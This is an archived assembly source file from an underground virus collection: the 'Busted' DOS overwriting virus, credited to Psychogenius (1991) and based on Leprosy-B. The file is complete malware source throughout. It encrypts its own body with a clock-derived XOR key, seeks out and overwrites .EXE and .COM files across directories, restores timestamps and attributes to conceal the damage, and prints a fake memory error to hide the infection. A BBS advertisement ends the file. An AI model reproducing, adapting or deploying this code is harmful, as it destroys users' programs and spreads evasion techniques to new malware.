home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / b / busted.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  12.2 KB  |  226 lines

  1. cr              equ     13              ;  Carriage return ASCII code
  2.  
  3. lf              equ     10              ;  Linefeed ASCII code
  4.  
  5. tab             equ     9               ;  Tab ASCII code
  6.  
  7. code_start      equ     100h            ;  Address right after PSP in memory
  8.  
  9. dta             equ     80h             ;  Addr of default disk transfer area
  10.  
  11. datestamp       equ     24              ;  Offset in DTA of file's date stamp
  12.  
  13. timestamp       equ     22              ;  Offset in DTA of file's time stamp
  14.  
  15. filename        equ     30              ;  Offset in DTA of ASCIIZ filename
  16.  
  17. attribute       equ     21              ;  Offset in DTA of file attribute
  18.  
  19.  
  20.  
  21.  
  22.  
  23.         code    segment 'code'          ;  Open code segment
  24.  
  25.         assume  cs:code,ds:code         ;  One segment for both code & data
  26.  
  27.                 org     code_start      ;  Start code image after PSP
  28.  
  29.  
  30.  
  31. ;---------------------------------------------------------------------
  32.  
  33. ;  All executable code is contained in boundaries of procedure "main".
  34.  
  35. ;  The following code, until the start of "virus_code", is the non-
  36.  
  37. ;  encrypted CMT portion of the code to load up the real program.
  38.  
  39. ;---------------------------------------------------------------------
  40.  
  41. main    proc    near                    ;  Code execution begins here
  42.  
  43.         call    encrypt_decrypt         ;  Decrypt the real virus code
  44.  
  45.         jmp     random_mutation         ;  Put the virus into action
  46.  
  47.  
  48.  
  49. encrypt_val1    db      00h             ;  Hold value to encrypt by here
  50.  
  51. encrypt_val2    db      00h
  52.  
  53.  
  54.  
  55. ; ----------  Encrypt, save, and restore the virus code  -----------
  56.  
  57. infect_file:
  58.  
  59.         mov     cx,handle               ;  Get the handle
  60.  
  61.         push    cx                      ;  Save it on the stack
  62.  
  63.         call    encrypt_decrypt         ;  Encrypt most of the code
  64.  
  65.         pop     bx                      ;  Get back the handle
  66.  
  67.         mov     cx,endvir-main          ;  Total number of bytes to write
  68.  
  69.         mov     dx,code_start           ;  Buffer where code starts in memory
  70.  
  71.         mov     ah,40h                  ;  DOS write-to-handle service
  72.  
  73.         int     21h                     ;  Write the virus code into the file
  74.  
  75.         call    encrypt_decrypt         ;  Restore the code as it was
  76.  
  77.         ret                             ;  Go back to where you came from
  78.  
  79.  
  80.  
  81. ; ---------------  Encrypt or decrypt the code  ----------------
  82.  
  83. encrypt_decrypt:
  84.  
  85.         mov     bx,offset virus_code    ;  Get address to start encrypt/decrypt
  86.  
  87. xor_loop:                               ;  Start cycle here
  88.  
  89.         mov     al,[bx]                 ;  Get the current byte
  90.  
  91.         xor     al,encrypt_val1         ;  Engage/disengage XOR scheme on it
  92.  
  93.         mov     [bx],al                 ;  Put it back where we got it
  94.  
  95.         inc     bx                      ;  Move BX ahead a byte
  96.  
  97.         cmp     bx,offset virus_code+(endvir-main)  ;  Are we at the end?
  98.  
  99.         je      xor_nd
  100.  
  101.         mov     al,[bx]
  102.  
  103.         xor     al,encrypt_val2
  104.  
  105.         mov     [bx],al
  106.  
  107.         inc     bx
  108.  
  109.         cmp     bx,offset virus_code+(endvir-main)
  110.  
  111.         jle     xor_loop                ;  If not, do another cycle
  112.  
  113. xor_nd:
  114.  
  115.         ret                             ;  and go back where we came from
  116.  
  117.  
  118.  
  119. ;-----------------------------------------------------------------------
  120.  
  121. ;   The rest of the code from here on remains encrypted until run-time,
  122.  
  123. ;   using a fundamental XOR technique that changes via CMT.
  124.  
  125. ;-----------------------------------------------------------------------
  126.  
  127. virus_code:
  128.  
  129.  
  130.  
  131. ;----------------------------------------------------------------------------
  132.  
  133. ;  All strings are kept here in the file, and automatically encrypted.
  134.  
  135. ;  Please don't be a lamer and change the strings and say you wrote a virus.
  136.  
  137. ;  Because of Cybernetic Mutation Technology(tm), the CRC of this file often
  138.  
  139. ;  changes, even when the strings stay the same.
  140.  
  141. ;----------------------------------------------------------------------------
  142.  
  143. exe_filespec    db      "*.EXE",0
  144.  
  145. com_filespec    db      "*.COM",0
  146.  
  147. newdir          db      "..",0
  148.  
  149. fake_msg        db      cr,lf,"Program too big to fit in memory$"
  150.  
  151. virus_msg       db      cr,lf,tab,"Busted!$"
  152.  
  153. virus_info      db      "This is based on Leprosy-B.  Thanx PCM2"
  154.  
  155. viral_tag       db      "Busted, Strain A, version 1.0"
  156.  
  157. viral_tag_2     db      "By ÿÇ╫@&ε╖│╜$ (Psychogenius), September '91"
  158.  
  159. compare_buf     db      20 dup (?)      ;  Buffer to compare files in
  160.  
  161. files_found     db      ?
  162.  
  163. files_infected  db      ?
  164.  
  165. orig_time       dw      ?
  166.  
  167. orig_date       dw      ?
  168.  
  169. orig_attr       dw      ?
  170.  
  171. handle          dw      ?
  172.  
  173. success         db      ?
  174.  
  175.  
  176.  
  177. random_mutation:                        ; First decide if virus is to mutate
  178.  
  179.         mov     ah,2ch                  ; Set up DOS function to get time
  180.  
  181.         int     21h
  182.  
  183.         cmp     encrypt_val1,0          ; Is this a first-run virus copy?
  184.  
  185.         je      install_val             ; If so, install whatever you get.
  186.  
  187. install_val:
  188.  
  189.         cmp     dl,0                    ; Will we be encrypting using zero?
  190.  
  191.         je      random_mutation         ; If so, get a new value.
  192.  
  193.         mov     encrypt_val1,dl         ; Otherwise, save the new value
  194.  
  195.         mov     encrypt_val2,dh
  196.  
  197. find_extension:                         ; Locate file w/ valid extension
  198.  
  199.         mov     files_found,0           ; Count infected files found
  200.  
  201.         mov     files_infected,4        ; BX counts file infected so far
  202.  
  203.         mov     success,0
  204.  
  205. find_exe:
  206.  
  207.         mov     cx,00100111b            ; Look for all flat file attributes
  208.  
  209.         mov     dx,offset exe_filespec  ; Check for .EXE extension first
  210.  
  211.         mov     ah,4eh                  ; Call DOS find first service
  212.  
  213.         int     21h
  214.  
  215.         cmp     ax,12h                  ; Are no files found?
  216.  
  217.         je      find_com                ; If not, nothing more to do
  218.  
  219.         call    find_healthy            ; Otherwise, try to find healthy .EXE
  220.  
  221. find_com:
  222.  
  223.         mov     cx,00100111b            ; Look for all flat file attributes
  224.  
  225.         mov     dx,offset com_filespec  ; Check for .COM extension now
  226.  
  227.         mov     ah,4eh                  ; Call DOS find first service
  228.  
  229.         int     21h
  230.  
  231.         cmp     ax,12h                  ; Are no files found?
  232.  
  233.         je      chdir                   ; If not, step back a directory
  234.  
  235.         call    find_healthy            ; Otherwise, try to find healthy .COM
  236.  
  237. chdir:                                  ; Routine to step back one level
  238.  
  239.         mov     dx,offset newdir        ; Load DX with address of pathname
  240.  
  241.         mov     ah,3bh                  ; Change directory DOS service
  242.  
  243.         int     21h
  244.  
  245.         dec     files_infected          ; This counts as infecting a file
  246.  
  247.         jnz     find_exe                ; If we're still rolling, find another
  248.  
  249.         jmp     exit_virus              ; Otherwise let's pack it up
  250.  
  251. find_healthy:
  252.  
  253.         mov     bx,dta                  ; Point BX to address of DTA
  254.  
  255.         mov     ax,[bx]+attribute       ; Get the current file's attribute
  256.  
  257.         mov     orig_attr,ax            ; Save it
  258.  
  259.         mov     ax,[bx]+timestamp       ; Get the current file's time stamp
  260.  
  261.         mov     orig_time,ax            ; Save it
  262.  
  263.         mov     ax,[bx]+datestamp       ; Get the current file's data stamp
  264.  
  265.         mov     orig_date,ax            ; Save it
  266.  
  267.         mov     dx,dta+filename         ; Get the filename to change attribute
  268.  
  269.         mov     cx,0                    ; Clear all attribute bytes
  270.  
  271.         mov     al,1                    ; Set attribute sub-function
  272.  
  273.         mov     ah,43h                  ; Call DOS service to do it
  274.  
  275.         int     21h
  276.  
  277.         mov     al,2                    ; Set up to open handle for read/write
  278.  
  279.         mov     ah,3dh                  ; Open file handle DOS service
  280.  
  281.         int     21h
  282.  
  283.         mov     handle,ax               ; Save the file handle
  284.  
  285.         mov     bx,ax                   ; Transfer the handle to BX for read
  286.  
  287.         mov     cx,20                   ; Read in the top 20 bytes of file
  288.  
  289.         mov     dx,offset compare_buf   ; Use the small buffer up top
  290.  
  291.         mov     ah,3fh                  ; DOS read-from-handle service
  292.  
  293.         int     21h
  294.  
  295.         mov     bx,offset compare_buf   ; Adjust the encryption value
  296.  
  297.         mov     ah,encrypt_val1         ; for accurate comparison
  298.  
  299.         mov     [bx+6],ah
  300.  
  301.         mov     si,code_start           ; One array to compare is this file
  302.  
  303.         mov     di,offset compare_buf   ; The other array is the buffer
  304.  
  305.         mov     ax,ds                   ; Transfer the DS register...
  306.  
  307.         mov     es,ax                   ; ...to the ES register
  308.  
  309.         cld
  310.  
  311.         repe    cmpsb                   ; Compare the buffer to the virus
  312.  
  313.         jne     healthy                 ; If different, the file is healthy!
  314.  
  315.         call    close_file              ; Close it up otherwise
  316.  
  317.         inc     files_found             ; Chalk up another fucked up file
  318.  
  319. continue_search:
  320.  
  321.         mov     ah,4fh                  ; Find next DOS function
  322.  
  323.         int     21h                     ; Try to find another same type file
  324.  
  325.         cmp     ax,12h                  ; Are there any more files?
  326.  
  327.         je      no_more_found           ; If not, get outta here
  328.  
  329.         jmp     find_healthy            ; If so, try the process on this one!
  330.  
  331. no_more_found:
  332.  
  333.         ret                             ; Go back to where we came from
  334.  
  335. healthy:
  336.  
  337.         mov     bx,handle               ; Get the file handle
  338.  
  339.         mov     ah,3eh                  ; Close it for now
  340.  
  341.         int     21h
  342.  
  343.         mov     ah,3dh                  ; Open it again, to reset it
  344.  
  345.         mov     dx,dta+filename
  346.  
  347.         mov     al,2
  348.  
  349.         int     21h
  350.  
  351.         mov     handle,ax               ; Save the handle again
  352.  
  353.         call    infect_file             ; Infect the healthy file
  354.  
  355.         call    close_file              ; Close down this operation
  356.  
  357.         inc     success                 ; Indicate we did something this time
  358.  
  359.         dec     files_infected          ; Scratch off another file on agenda
  360.  
  361.         jz      exit_virus              ; If we're through, terminate
  362.  
  363.         jmp     continue_search         ; Otherwise, try another
  364.  
  365.         ret
  366.  
  367. close_file:
  368.  
  369.         mov     bx,handle               ; Get the file handle off the stack
  370.  
  371.         mov     cx,orig_time            ; Get the date stamp
  372.  
  373.         mov     dx,orig_date            ; Get the time stamp
  374.  
  375.         mov     al,1                    ; Set file date/time sub-service
  376.  
  377.         mov     ah,57h                  ; Get/Set file date and time service
  378.  
  379.         int     21h                     ; Call DOS
  380.  
  381.         mov     bx,handle
  382.  
  383.         mov     ah,3eh                  ; Close handle DOS service
  384.  
  385.         int     21h
  386.  
  387.         mov     cx,orig_attr            ; Get the file's original attribute
  388.  
  389.         mov     al,1                    ; Instruct DOS to put it back there
  390.  
  391.         mov     dx,dta+filename         ; Feed it the filename
  392.  
  393.         mov     ah,43h                  ; Call DOS
  394.  
  395.         int     21h
  396.  
  397.         ret
  398.  
  399. exit_virus:
  400.  
  401.         cmp     files_found,6           ; Are at least 6 files infected?
  402.  
  403.         jl      print_fake              ; If not, keep a low profile
  404.  
  405.         cmp     success,0               ; Did we infect anything?
  406.  
  407.         jg      print_fake              ; If so, cover it up
  408.  
  409.         mov     ah,09h                  ; Use DOS print string service
  410.  
  411.         MOV     DX, OFFSET virus_msg    ; Print "Busted!"
  412.  
  413.         jmp     terminate
  414.  
  415. print_fake:
  416.  
  417.         mov     ah,09h                  ; Use DOS to print fake error message
  418.  
  419.         mov     dx,offset fake_msg
  420.  
  421.         int     21h
  422.  
  423. terminate:
  424.  
  425.         mov     ah,4ch                  ; DOS terminate process function
  426.  
  427.         int     21h                     ; Call DOS to get out of this program
  428.  
  429. endvir  LABEL   BYTE
  430.  
  431.  
  432.  
  433. main    endp
  434.  
  435. code    ends
  436.  
  437.         end     main
  438.  
  439.  
  440.  
  441. ; ─────────────────────────────────────────────────────────────────────────
  442.  
  443. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  444.  
  445. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  446.  
  447. ; ─────────────────────────────────────────────────────────────────────────
  448.  
  449.  
  450.  
  451.